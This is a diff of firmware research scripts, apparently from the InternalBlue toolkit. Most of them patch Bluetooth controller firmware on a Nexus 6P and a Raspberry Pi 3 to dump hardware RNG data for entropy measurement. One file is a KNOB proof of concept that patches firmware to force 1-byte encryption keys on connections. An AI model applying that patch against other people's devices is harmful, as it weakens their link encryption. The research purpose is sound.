bne wait_ready
|
||||
|
||||
// request new entropy: 0x314004=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x314004
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x31400c
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 4 // event length
|
||||
mov r0, 6 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x22C4 // malloc_hci_event_buffer
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x20F4 // send_hci_event()
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = ADBCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Nexus 6P Launch_RAM fix: overwrite an unused HCI handler
|
||||
# Here it is not called within the handler table but within another function.
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x59042)
|
||||
if not internalblue.patchRom(0x59042, patch):
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
|
||||
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
|
||||
# 1.3s was also safe.
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("6p_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+224
@@ -0,0 +1,224 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x21F000 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x55FD6 # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x318088 # the pseudo random register we want to benchmark
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x31FC34 agcStatus_adr
|
||||
# 0x31FFA0 rxInitAngle_adr
|
||||
# 0x31F8A4 spurFreqErr1_adr
|
||||
# 0x31FD48 rxPskPhErr5_adr
|
||||
# 0x200528 *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 4 // event length
|
||||
mov r0, 6 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x22C4 // malloc_hci_event_buffer
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x20F4 // send_hci_event()
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = ADBCore(log_level='debug')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.info("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
sleep(1.3) # Nexus 6P specific HCI bugfix! Launch_RAM doesn't like HCI...
|
||||
# 8s is safe, 2s did also work 1k times, 1s aborted after 406 and 403.
|
||||
# 1.3s was also safe.
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("6p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
@@ -16,7 +15,7 @@ if len(device_list) == 0:
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
|
||||
@@ -32,17 +31,66 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
|
||||
internalblue.patchRom(0x689F0, patch)
|
||||
internalblue.patchRom(Address(0x689F0), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204127, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x204127, b'\x01') # global key entropy
|
||||
|
||||
|
||||
internalblue.shutdown()
|
||||
exit(-1)
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n")
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
Executable
+222
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO repeat was only 0x100
|
||||
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
//bl notify_hci
|
||||
bl 0x40fa //io cap resp 00000000550d000000
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x352604
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: rbg_control_adr=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x352600
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x352608
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 4 // event length
|
||||
mov r0, 6 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x358E // send_hci_event_without_free()
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("rpi3-randomdata-%irounds.bin" % rounds, "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+222
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* Disable Wi-Fi as the RNG might be shared.
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x219000 # load our snippet here #TODO definitely not a free area on the rpi3
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/ #TODO was 0x100
|
||||
FUN_RNG = 0x1CA3E # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x318088 # the pseudo random register we want to benchmark
|
||||
# !!! other mapping, follows CYW20719
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x410434 agcStatus_adr
|
||||
# 0x4107A0 txDirectModFreqAdj3_adr
|
||||
# 0x4100A4 spurFreqErr0_adr
|
||||
# 0x410548 rxPskPhErr5_adr
|
||||
# 0x200578 *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
//bl notify_hci
|
||||
bl 0x40fa //io cap resp 00000000550d000000
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 4 // event length
|
||||
mov r0, 6 // event length (+2)
|
||||
mov r1, 0xff // type: vendor specific
|
||||
bl 0x3670 // bthci_event_AllocateEventAndFillHeader (the r0+r2 variant)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x358E // send_hci_event_without_free()
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
